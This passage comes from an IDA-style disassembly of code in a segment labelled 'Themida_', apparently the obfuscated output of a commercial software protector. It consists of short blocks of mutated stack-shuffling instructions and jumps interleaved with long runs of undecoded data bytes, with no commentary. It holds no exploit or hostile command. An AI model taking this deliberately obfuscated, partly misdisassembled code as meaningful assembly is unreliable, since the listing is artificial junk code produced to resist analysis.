		dd 0FFCEEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EF49:				; CODE XREF: Themida_:0054BEEAj
		movsx	ecx, ax
		push	6D6Ch
		mov	[esp], ecx
		jmp	loc_544609
; ---------------------------------------------------------------------------
		db 45h,	81h, 0EDh
		dd 0D67FFBA1h, 815DEF29h, 0B32D09EFh, 240C8B14h, 0FF790AE9h
		dd 835B54FFh, 12E904ECh, 89FFFF91h, 952AE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EF82:				; CODE XREF: Themida_:00545FD8j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		jmp	loc_545203
; ---------------------------------------------------------------------------
		db 0E9h, 73h, 56h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EF96:				; CODE XREF: Themida_:0054A218j
		pop	edx
		add	al, ch
		jmp	loc_550043
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 54E95D24h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EFA7:				; CODE XREF: Themida_:0054F4DFj
		push	small 3D7Eh
		mov	[esp], ax
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dd 1104B850h, 0C601073Ch, 0E9C60158h, 0FFFF64CDh, 0D1B45066h
		dd 5866E300h, 0A3ACE952h, 0E95BFFFFh, 0FFFFA1EEh, 5C24048Fh
		dd 4EC81h, 37E90000h, 66FFFFC1h, 6824148Bh, 187Fh, 54240489h
		dd 0F8F3E958h, 1487FFFFh, 0B9515C24h, 2B1430C8h, 0FF8E94E9h
		dd 148966FFh, 9C506624h, 0FF55F4E9h, 4EDC1FFh, 1E1BBB53h
		dd 0DD092D24h, 4E5C15Bh, 0C227F581h, 0EB01CBBBh
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_547214
; ---------------------------------------------------------------------------
		dd 0FF55C4E9h, 2474FFFFh, 242C8B04h, 4C481h, 48F0000h
		dd 24248B24h, 8701C083h, 89572447h, 624D68DFh, 1FE90000h
		dd 83FFFF98h, 0EC8004C4h, 8BE58852h, 54522404h,	0FFF4A3E9h
		dd 0BDC981FFh, 5007E312h, 8A6CF0B8h, 58C13169h,	2DACBA52h
		dd 0EAC17AE5h, 0A516E908h, 0F289FFFFh, 0EA814A5Eh, 6BEE29FAh
		dd 2EC2EA81h, 0EA810B9Eh, 65E619B6h, 8108E2C1h,	0C55901F2h
		dd 5AD18930h, 1653A505h, 2DC80134h, 341653A5h, 39DE3559h
		dd 0E8C10BFEh, 36E90D06h, 0E5054234h, 81E91350h, 0ED1465C3h
		dd 81C30155h, 0ED1465EBh, 6EF9E955h, 0E901FFFFh, 1AF8E9h
		dd 81D12900h, 0D9344FE9h, 0CE295A72h, 0D37CE959h, 0FF56FFFFh
		dd 8B042474h, 0C4832434h, 24048F04h, 240C895Ch,	1E10C7B9h
		dd 0FFC80163h, 81592434h, 4C4h,	3AB22D00h, 0D8016602h
		dd 3AB2BA52h, 0D0016602h, 8124148Bh, 4C4h, 0C7BE5600h
		dd 29631E10h, 3B685EF0h, 8900007Bh, 0C1BD242Ch,	4D2F4763h
		dd 874EF587h, 4EC83F5h,	52240C89h, 0FFC502E9h, 0D830ACFFh
		dd 817AB753h, 4ECh, 7C6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F17A:				; CODE XREF: Themida_:0054DA5Aj
		mov	ebp, ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54B467
; ---------------------------------------------------------------------------


loc_54F187:				; CODE XREF: Themida_:0054BE4Cj
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	196Eh
		jmp	loc_549F4A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 6EE95724h, 68FFFFEFh, 3311h,	0FF243C89h, 0E9042474h
		dd 187Eh
; ---------------------------------------------------------------------------


loc_54F1B4:				; CODE XREF: Themida_:00548C73j
		inc	ebp
		not	ebp
		not	ebp
		add	ebp, 0DDA482B8h
		add	esi, ebp
		jmp	loc_54783D
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 28F79E3h, 405BF781h,	0F8014068h, 2DC8295Fh, 5D5025C7h
		dd 7239D205h, 0C84DE950h, 0DD87FFFFh, 17FE6853h, 2C890000h
		dd 0E9DAE924h, 0DD30FFFFh, 64B4505Bh, 0FFBA88E9h, 241C8BFFh
		dd 4C481h, 0BB530000h, 12573A72h, 0E9D3F74Bh, 0FFFFA80Dh
		dd 0BF94F281h, 0D0013B63h, 0FF5CD4E9h, 1C77FFFFh, 1858669Dh
		dd 0E99C2404h, 0FFFF53D5h, 57F5E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F23A:				; CODE XREF: Themida_:0054EBDDj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54E688
; ---------------------------------------------------------------------------
		db 1
		dd 5D04246Ch, 4BA5258h,	1000000h, 24148BD0h, 504C483h
		dd 2, 8B240487h, 83E92424h, 89FFFF7Fh, 0C28159CBh, 0BDB348Eh
		dd 0FFEC06E9h, 193668FFh, 348B582Bh, 4C48124h, 4E000000h
		dd 561AC681h, 77E9DB5Dh, 81FFFFCEh, 0BB7BF5EDh,	0F5ED8159h
		dd 8B13F714h, 11E9241Ch, 0B9FFFF9Eh, 4D6F16D5h,	159CF01h
		dd 0D5EF81D7h, 5A4D6F16h, 31243C33h, 3C33243Ch,	24248B24h
		dd 2404A30Fh, 5337E99Ch, 0FE01FFFFh, 2434875Fh,	8324248Bh
		dd 0FF5102C1h, 59042474h, 5C24048Fh, 9C2404D2h,	0FF5318E9h
		dd 66EF00FFh, 5BFE3059h, 0FFC417E9h, 5B5BBDFFh,	3CE95569h
		dd 1FFFF60h, 0BCFEE9D8h, 481FFFFh, 424h, 24048F00h, 4BE56h
		dd 74010000h, 0B0E90424h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F327:				; CODE XREF: Themida_:0054A330j
		push	ecx
		mov	ecx, esp
		jmp	loc_54EA97
; ---------------------------------------------------------------------------
		align 10h
		dd 0D04EE9F0h, 74FFFFFFh, 8F5B0424h, 0E95C2404h, 0FFFF971Eh
		dd 72CE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F34A:				; CODE XREF: Themida_:0054A4EEj
		neg	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, 519E33FFh
		xor	edi, eax
		pop	eax
		xor	edi, 88E66890h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		push	ebp
		push	4135461Bh
		jmp	loc_54B016
; ---------------------------------------------------------------------------
		db 0ACh
		dd 7DB75352h, 0FFA7CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F385:				; CODE XREF: Themida_:00545058j
		mov	eax, 164927CDh
		add	eax, 4DDC410Dh
		sub	edi, 1ABC65E4h
		sub	edi, eax
		push	ecx
		jmp	loc_545F88
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 62h
		dd 0E97C8620h, 0FFFFD8BDh, 5AC4F781h, 0C7810A10h, 0F8F4C421h
		dd 405FF829h, 0FF6786E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F3BD:				; CODE XREF: Themida_:0054BCDBj
		shl	ecx, 5
		jmp	loc_54AB4B
; ---------------------------------------------------------------------------


loc_54F3C5:				; CODE XREF: Themida_:0054D298j
		xor	ebp, [esp]
		jmp	loc_54C90B
; ---------------------------------------------------------------------------
		db 0F7h, 0E1h, 68h
		dd 6758h, 0FFD75CE9h, 242C89FFh, 2BDh, 0E9EF0100h, 0FFFFF011h
		dd 7C7CC781h, 0F7017CA2h, 7C7CEF81h, 0C7817CA2h, 4C230630h
		dd 2C7815Eh, 57000000h,	42474FFh, 24048F5Fh, 48B665Ch
		dd 24516824h, 14890000h, 0AE95424h, 66FFFFC1h, 0E902B60Fh
		dd 0FFFFB816h, 535AD129h, 0E022A2BBh, 5BD9013Bh, 5D4EFA2Dh
		dd 223F2D71h, 1E90EC4h,	80FFFF90h, 8058A3C3h, 0B60FB0C3h
		dd 0EFDEE9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F452:				; CODE XREF: Themida_:005488EEj
		sub	ah, 77h
		jmp	loc_54B2DB
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54D500
; ---------------------------------------------------------------------------
		dd 3C8BF901h, 5E545624h, 4C681h, 0C6810000h, 4,	5C243487h
		dd 4BA52h, 0D1010000h, 8324148Bh, 0FF5104C4h, 59042474h
		dd 0FFBA4EE9h, 88F088FFh, 110E9C7h, 14F60000h, 0F2805A24h
		dd 0F6CAFEB1h, 47F280D2h, 0E96DC280h, 0FFFFF50Dh, 34FF5966h
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	bx, ax
		push	si
		mov	si, 8A9h
		sub	bx, si
		pop	si
		movzx	eax, ax
		jmp	loc_54EFA7
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 24041958h, 5117E99Ch, 5350FFFFh, 0C3E9h
		dd 58C50100h, 4C581h, 2C870000h, 0C4835C24h, 4C48104h
		dd 0E9000000h, 0FFFF620Ah
; ---------------------------------------------------------------------------


loc_54F514:				; CODE XREF: Themida_:0054DF2Cj
		mov	ecx, ebp
		pop	ebp
		jmp	loc_545D25
; ---------------------------------------------------------------------------
		dd 0BA52D829h, 0C1570B5h, 5EAC142h, 3BDBCA81h, 0C28123C7h
		dd 23EB905Ah, 0FF5AD029h, 815B2434h, 4C4h, 0B755E900h
		dd 0BA52FFFFh, 7F245D60h, 0E95AD131h, 344h, 0E9241489h
		dd 0FFFFCCBDh, 0F72EA505h, 9522E931h, 368FFFFh,	54000069h
		dd 8124048Fh, 42404h, 34FF0000h, 243C8B24h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 835C240Ch, 0C78104C4h, 4
		dd 4C781h, 3C330000h, 243C3124h, 8B243C33h, 0FF662424h
		dd 5057E930h, 5A58FFFFh, 0E92434FFh, 0FFFF8BB0h, 58123DBBh
		dd 5924E900h, 6852FFFFh, 8D5h, 1335E9h,	0C2815900h, 4F774989h
		dd 0D2E9C229h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5DF:				; CODE XREF: Themida_:0054C4EDj
		push	dword ptr [esp+4]
		jmp	loc_54E410
; ---------------------------------------------------------------------------
		dd 0FF501CE9h, 240489FFh, 8E3576B8h, 395B3570h,	292D1A54h
		dd 16ADA0Ch, 89E958C1h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F607:				; CODE XREF: Themida_:0054D598j
		add	esi, 3FAA08BBh
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		jmp	loc_548C7E
; ---------------------------------------------------------------------------
		dd 240C8966h, 0EE30C0B5h, 240C8B66h, 0FFC2D0E9h, 65EA80FFh
		dd 0E989EA80h, 0FFFF84E6h, 0C7E95966h, 81FFFFE3h, 4ECh
		dd 241C8900h, 268h, 70DAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F64E:				; CODE XREF: Themida_:0054B0BFj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 172F0A7Ch
		jmp	loc_548AD9
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 4A000000h, 0EA81DAF7h, 0BB0465B9h, 0FF5449E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F679:				; CODE XREF: Themida_:00545B92j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2ADB56A1h
		jmp	loc_54D320
; ---------------------------------------------------------------------------


loc_54F689:				; CODE XREF: Themida_:0054FE7Fj
		mov	ebp, 739958D7h
		dec	ebp
		shl	ebp, 8
		push	esi
		push	eax
		jmp	loc_545FA7
; ---------------------------------------------------------------------------
		db 0BFh, 0D2h, 40h
		dd 0EF81546Eh, 49FF1A93h, 8106E7C1h, 0C98FBCEFh, 4BEE819Bh
		dd 0E96E0664h, 0FFFF73F0h, 9C240408h, 0FF4F48E9h, 4429BAFFh
		dd 0EA813D81h, 7B2C66C2h, 0FF64D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F6D1:				; CODE XREF: Themida_:0054FAC0j
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54DB40
; ---------------------------------------------------------------------------
		dw 0DDBEh
		dd 29336557h, 94DDE9EEh, 8957FFFFh, 13B850E7h, 4846472Dh
		dd 0E2E9E8D1h, 58FFFFEFh, 53F868h, 0A043E900h, 0C1FEFFFFh
		dd 0FE68F180h, 0BB652C9h, 285AF130h, 7227E9CAh,	45AFFFFh
		dd 28140492h, 2C142CD8h, 52C60492h, 0B05090B6h,	6DC7E9B0h
		dd 0F929FFFFh, 0FF6726E9h, 4E1C0FFh, 8DC180h, 0C30059CBh
		dd 2EC81h, 89660000h, 0E953240Ch, 0E0Fh, 0CA308AB1h, 4EC8359h
		dd 51241C89h, 0CB88D188h, 81240C8Bh, 4C4h, 9FBCE900h, 0EF81FFFFh
		dd 357A4831h, 0B7E9D7F7h, 81FFFFB3h, 0D423A1C5h, 814D5B64h
		dd 2ED46AC5h, 19C281D8h, 1265D69h, 19EA81EAh, 8B265D69h
		dd 0C483242Ch, 2B95104h, 1000000h, 148759CAh, 24248B24h
		dd 243CD366h, 0D14CE99Ch, 0E568FFFFh, 0E900007Dh, 0FFFF5C91h
		dd 0DB548DBAh, 622CE903h, 0F42DFFFFh, 811E5EAAh, 8951DAEAh
		dd 81C2016Ah, 8951DAC2h, 0E2D1586Ah, 0FF6ACDE9h, 4B8FFh
		dd 9BE90000h, 52000013h, 4BE56h, 0E8E90000h, 81FFFF64h
		dd 5F794FF6h, 91E95323h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F80B:				; CODE XREF: Themida_:0054CC86j
		add	esp, 4
		sub	eax, 5F4812B2h
		pop	ecx
		jmp	loc_54A0A5
; ---------------------------------------------------------------------------
		dd 6824148Bh, 5FFCh, 0FF9BD5E9h, 248B66FFh, 4DD7E924h
		dd 9C50FFFFh, 0FF4DD0E9h, 5DBE56FFh, 81686C65h,	0C77279EEh
		dd 6FE94E3Ch, 8FFFFFF2h, 70E92404h, 0FFFFFF5Dh,	0AEE92C77h
		dd 4FFFF4Dh, 406E916h, 248B0000h, 24048B24h, 0E9E08950h
		dd 0DD3h, 4C481h, 0C8310000h, 0FF7EAAE9h, 43166FFh, 82E99C24h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F887:				; CODE XREF: Themida_:00544963j
		inc	ebx
		jmp	loc_5464DD
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 7Eh
		dd 0E9E7BFEBh, 0FFFF5E94h, 0DCBC581h, 0ED8131D6h, 3E6679DAh
		dd 85E9CD01h, 66FFFF70h, 0E9240C89h, 0FFFF63A5h, 8B241C87h
		dd 0C481240Ch, 4, 39F5E981h, 0AEE908F7h, 68FFFFAEh, 0A5Bh
		dd 0E9241489h, 0FFFFA8A2h, 35DB6852h, 24890000h, 0D387E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F8E6:				; CODE XREF: Themida_:00547D47j
		mov	[esp], edi
		mov	edi, 27D51AD9h
		inc	edi
		dec	edi
		push	eax
		mov	eax, 14D7644h
		sub	edi, eax
		pop	eax
		jmp	loc_54A4ED
; ---------------------------------------------------------------------------


loc_54F8FE:				; CODE XREF: Themida_:0054E3B8j
		mov	ecx, esp
		jmp	loc_54E816
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FDEDE954h, 8795FFFFh, 3E6C1EEh, 0B2EE8146h,	0E9A31653h
		dd 0FFFFF008h, 243C875Bh, 0E389535Ch, 4BB5355h,	53000000h
		dd 0EB015B5Dh, 4EB835Dh, 0E9241C87h, 0F97h, 0B2241489h
		dd 0E9525122h, 0FFFFD2EEh, 8758C289h, 87D5F7EAh, 6D0068EAh
		dd 34890000h, 3E99BE24h, 0D6F70CA3h, 0C90CF681h, 0F229D151h
		dd 0FF6830E9h, 53E801FFh, 3169E8BBh, 5BD80118h,	0ACE9535Dh
		dd 83FFFFD4h, 0D66804C4h, 89000043h, 4B82404h, 1000000h
		dd 8D38E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F99A:				; CODE XREF: Themida_:00548921j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 65E06871h
		jmp	loc_545B8E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4EAD437Eh, 5749F281h, 0CA810A3Fh, 15261BE5h,	669FEA81h
		dd 0C2815AACh, 2E9279D8h, 495AD189h, 0A685550h,	5D3B0056h
		dd 0FFCC72E9h, 88F788FFh, 885A5BFDh, 0C8B386Fh,	0E1895124h
		dd 4C181h, 0C0E90000h, 5A00000Eh, 4C281h, 0C2830000h, 0A445E904h
		dd 4D5FFFFFh, 5C44BA52h, 0FA870E37h, 0FA87D7F7h, 3C8DC281h
		dd 8BE900B0h, 88FFFFD9h, 0A8B5E9D7h, 895BFFFFh,	7B9DE9F3h
		dd 0C8BFFFFh, 4C48324h,	8B242C87h, 0EC682424h, 0E900002Fh
		dd 0FFFFD1C8h, 0DAEB805Bh, 6602E3C0h, 5B60E950h, 0CB81FFFFh
		dd 73462CC1h, 0DC84E94Bh, 0E95DFFFFh, 0FFFF5433h, 2C802CACh
		dd 7399E99Bh, 48FFFFFh,	6AE95C24h, 66FFFFE5h, 53243C8Bh
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	57595424h
		dd 4BFh, 618FE900h, 0DF01FFFFh,	53241C8Bh, 0C381E389h
		dd 4, 0FF60A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FAB9:				; CODE XREF: Themida_:00549A98j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_54F6D1
; ---------------------------------------------------------------------------


loc_54FAC5:				; CODE XREF: Themida_:005503B1j
		push	edx
		mov	edx, 1D08039Dh
		xor	edx, 58D35125h
		sub	edx, 133338E2h
		jmp	loc_54DA3A
; ---------------------------------------------------------------------------
		dd 0E95BDA01h, 0FFFF7FEBh, 5756D801h, 0A30B30BFh, 0C1DFF70Bh
		dd 4AE905EFh, 53FFFF70h, 0FFBE1FE9h, 24248BFFh,	0E99CC884h
		dd 0FFFF4B01h, 53240489h, 0F888EF88h, 81241C8Bh, 4C4h
		dd 6FC2E900h, 3468FFFFh, 58553118h, 0EABE9h, 7EC58000h
		dd 0DADE952h, 0FABF0000h, 11EC568h, 0EA685FF8h,	0E900007Dh
		dd 0FFFFB808h, 582434FFh, 815F5457h, 4C7h, 4B95100h, 1000000h
		dd 2434FFCFh, 592434FFh, 4C481h, 0F6E90000h, 81FFFF4Fh
		dd 2C5h, 242C8700h, 0FF887EE9h,	4BEFFh,	0F5010000h, 242C875Eh
		dd 2C1815Ch, 33000000h,	0C31240Ch, 240C3324h, 6624248Bh
		dd 9C2424D3h, 0FF4A68E9h, 7E9C1FFh, 2338BD55h, 0E9316B58h
		dd 0E981415Dh, 6A305BD7h, 0FF62F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FBB9:				; CODE XREF: Themida_:0054B2DEj
		sub	cl, al
		jmp	loc_54C3D0
; ---------------------------------------------------------------------------
		dd 5A2414F7h, 8BAE9h, 2BF00h, 0F8010000h, 2404875Fh, 0FFD7D0E9h
		dd 0EE895BFFh, 0D7BB535Dh, 0C113B034h, 7BE903E3h, 58FFFF9Ch
		dd 0C15EF021h, 0C8310AE8h, 0C131C831h, 0CE9C831h, 89FFFFB1h
		dd 405E0h, 2EE90000h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FC0B:				; CODE XREF: Themida_:005498F3j
		xor	ecx, [esp]
		jmp	loc_548632
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 0E9000000h, 0FFFFCD29h
; ---------------------------------------------------------------------------


loc_54FC24:				; CODE XREF: Themida_:00549A76j
		push	ecx
		mov	ecx, 451D1054h
		inc	ecx
		jmp	loc_54B337
; ---------------------------------------------------------------------------
		dd 0E981F101h, 7D435F98h, 81D9F75Eh, 44079CC1h,	93ABE94Bh
		dd 0DE01FFFFh, 4C6835Bh, 0E9243487h, 0FFFFC5D4h, 240C8B66h
		dd 0FFA571E9h, 4C481FFh, 0E9000000h, 0FFFF8BA3h, 0E903B652h
		dd 0FFFF8D4Ah, 0F4E9E901h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FC77:				; CODE XREF: Themida_:0054676Bj
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dd 0F01685Eh, 3C890000h, 9976E924h, 3489FFFFh, 0E9E68924h
		dd 0FFFF8283h, 4C281h, 0C2810000h, 4, 5C241487h, 0FF4960E9h
		dd 30055AFFh, 17A0F16h,	16302DD8h, 81577A0Fh, 4ECh, 911DE900h
		dd 0EB81FFFFh, 8B4DBBE9h, 525BDF89h, 0FFF009E9h, 4FE958FFh
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FCD7:				; CODE XREF: Themida_:00549169j
		dec	edx
		add	edx, 0EE80F949h
		jmp	loc_54FD85
; ---------------------------------------------------------------------------
		db 89h
		dd 8B542404h, 0CE92404h, 8BFFFFBDh, 89572434h, 4C781E7h
		dd 81000000h, 4C7h, 9142E900h, 2B8FFFFh, 1000000h, 0E1E958C5h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FD13:				; CODE XREF: Themida_:0054B6EAj
		push	edx
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_54C4FD
; ---------------------------------------------------------------------------
		dw 0F509h
		dd 0F233E95Eh, 3C8BFFFFh, 4C48124h, 0E9000000h,	0FFFFBF9Ah
		dd 209668h, 240C8900h, 728C68h,	24048900h, 82740B8h, 5E8C10Eh
		dd 0FFF00CE9h, 5F5457FFh, 4C781h, 0E9500000h, 0FFFFBE7Fh
		dd 6DAFE281h, 0BD554B17h, 0C1FF977Dh, 0FF55E8E9h, 0BE5658FFh
		dd 47431B4Eh, 0FF576DE9h, 51D5F7FFh, 61E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FD85:				; CODE XREF: Themida_:0054FCDEj
		or	ebp, edx
		jmp	loc_54632C
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 0E0895002h, 405h, 42D00h, 4870000h, 0C895C24h
		dd 53595424h, 0AE4425BBh, 0F3814B5Ch, 5CAE4420h, 555BD901h
		dd 0D4EB951h, 0F181533Fh, 63724437h, 14ECC181h,	0C9817436h
		dd 1BC37BABh, 4C3BF181h, 0E9812BAEh, 946D33D2h,	89CF8957h
		dd 7DB7E9FDh, 8BB9FFFFh, 31216E3Bh, 0E5D159CDh,	0B914C581h
		dd 0C8E9D84Dh, 81FFFF50h, 0E594E5EEh, 0F2895264h, 0C7E9D789h
		dd 83FFFFA2h, 1C8904ECh, 19DEBB24h, 5C31283Ch, 0F9E90424h
		dd 0FF000009h, 48B2434h, 0E1895124h, 0FFCB86E9h, 0F7ABFFFh
		dd 0E7811518h, 507500DEh, 0FFF56BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FE3D:				; CODE XREF: Themida_:0054C802j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		shl	eax, cl
		push	ecx
		push	0FFFFFFFFh
		pop	ecx
		add	eax, 5F4812B2h
		push	ecx
		jmp	loc_550BD3
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C481241Ch, 4, 0FF89BAE9h, 67BA52FFh, 0C17E3D3Ah, 0E2C105E2h
		dd 9CF5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FE7A:				; CODE XREF: Themida_:0054E51Bj
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_54F689
; ---------------------------------------------------------------------------
		dd 0D1FFEA83h, 53DAF7EAh, 8CD5E0BBh, 5BDA29E5h,	7E6AC581h
		dd 0D501451Bh, 7E6AED81h, 875A451Bh, 248B242Ch,	48B6624h
		dd 5225E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FEB2:				; CODE XREF: Themida_:00546D31j
		inc	ebp
		add	ebp, 6A9666Eh
		push	eax
		mov	eax, 1AFCEEBDh
		sub	ebp, eax
		pop	eax
		mov	ecx, 1816656Fh
		add	ecx, 675738CDh
		sub	ecx, ebp
		sub	ecx, 675738CDh
		jmp	loc_54DFFD
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 8DC280ADh, 8004E2C0h, 0B8E99EF2h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FEEB:				; CODE XREF: Themida_:00547382j
		mov	[esp], ecx
		push	edx
		mov	edx, 6F8A4372h
		xchg	ebx, edx
		push	ebx
		neg	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	706Bh
		mov	[esp], edx
		push	ebx
		pop	edx
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_54AB69
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1DD12429h, 815DEF09h, 87F67DEFh, 5FFD2975h, 1FE9EB31h
		dd 89FFFFA3h, 4C68240Ch, 0E9000065h, 0FFFFE7E3h, 89240C89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 5E21E95Ch, 3CBAFFFFh
		dd 0C126AD43h, 0DAF707E2h, 0EFB85042h, 0D16A5C5Dh, 7269E9E8h
		dd 92BDFFFFh, 9008E0Bh,	81425DEAh, 0C5190ACAh, 0E7DCE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF7E:				; CODE XREF: Themida_:0054AD29j
		mov	edx, 4
		add	eax, 111D61F6h
		sub	eax, edx
		sub	eax, 111D61F6h
		pop	edx
		xor	eax, [esp]
		jmp	loc_54A488
; ---------------------------------------------------------------------------
		dd 240C8B66h, 543E68h, 240C8900h, 48E9E189h, 0B9FFFFF8h
		dd 54C9518Fh, 1678C181h, 0D1F73B6Bh, 68h, 240C2900h, 12F18159h
		dd 0C1397445h, 96E904E9h, 1FFFFC6h, 0C1835AD1h,	240C3304h
		dd 0FF7C6DE9h, 0E9E289FFh, 0FFFFBABFh, 31243C33h, 8E9243Ch
		dd 1FFFF4Bh, 0DD015FFDh, 15CCED81h, 0CEE95337h,	31FFFFBEh
		dd 14F757FDh, 0FD875F24h, 261AE581h, 0EDC11009h, 4EC8302h
		dd 0BF243C89h, 4CB50849h, 0C781DFF7h, 6639383Ah, 0EF81D7F7h
		dd 2CFD3A21h, 0F5E9FD29h, 8FFFFF57h, 45CFE902h,	0FF5FFFFFh
		dd 49E92434h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550043:				; CODE XREF: Themida_:0054EF99j
		push	dx
		mov	dh, 0D7h
		add	al, dh
		jmp	loc_54CB62
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 7DF9E95Ah, 0EF31FFFFh, 5FF8015Dh, 2474FF50h,	48F5804h
		dd 0D770E924h, 2C89FFFFh, 81E58924h, 4C5h, 84DDE900h, 0E089FFFFh
		dd 405h, 0E9545300h, 0FFFFDB02h, 0FFD703E9h, 0B7E981FFh
		dd 497CD060h, 0E981E1D1h, 936D46Eh, 1610E981h, 0F9015734h
		dd 1610C181h, 89525734h, 4C281E2h, 83000000h, 0FF5204EAh
		dd 5A042474h, 5C24048Fh, 0E9241C89h, 0FFFF9C0Eh, 5103E0C1h
		dd 7C0B2AB9h, 0C9E3E906h, 0F101FFFFh, 0B46C181h, 348B0685h
		dd 4C48324h, 8B240C87h,	0CD32424h, 16E99C24h, 0BEFFFF45h
		dd 8E516951h, 0FF6D5EE9h, 4EC83FFh, 0E9240C89h,	0FFFF6EC9h
		dd 0A6E9DE01h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55010F:				; CODE XREF: Themida_:0054AD39j
		add	esi, 36392B05h
		sub	esi, edx
		sub	esi, 36392B05h
		pop	edx
		xor	edi, esi
		pop	esi
		jmp	loc_54D10A
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2830000h, 24148704h, 0FF773FE9h, 2434FFFFh
		dd 459BE958h, 0C483FFFFh, 0C9E95D04h, 5FFFF85h,	615D7D20h
		dd 1768F801h, 89000003h, 32BB241Ch, 51762E08h, 3C2E9AB9h
		dd 15E18112h, 81292216h, 86346AC1h, 0ED85E97Ch,	565AFFFFh
		dd 0C681E689h, 4, 0FFE31FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550185:				; CODE XREF: Themida_:005487C2j
		push	esi
		mov	esi, esp
		jmp	loc_54E066
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0A3h
		dd 0F7FFFF7Eh, 5E0C1D0h, 4CCE0540h, 632D23A2h, 2D662208h
		dd 0BCD79C3Ch, 0E958C689h, 0FFFF4713h, 6BFFBB53h, 0DBF7453Ch
		dd 6434CB81h, 0C3815E07h, 6A5D4296h, 815BDD89h,	0F54D35C5h
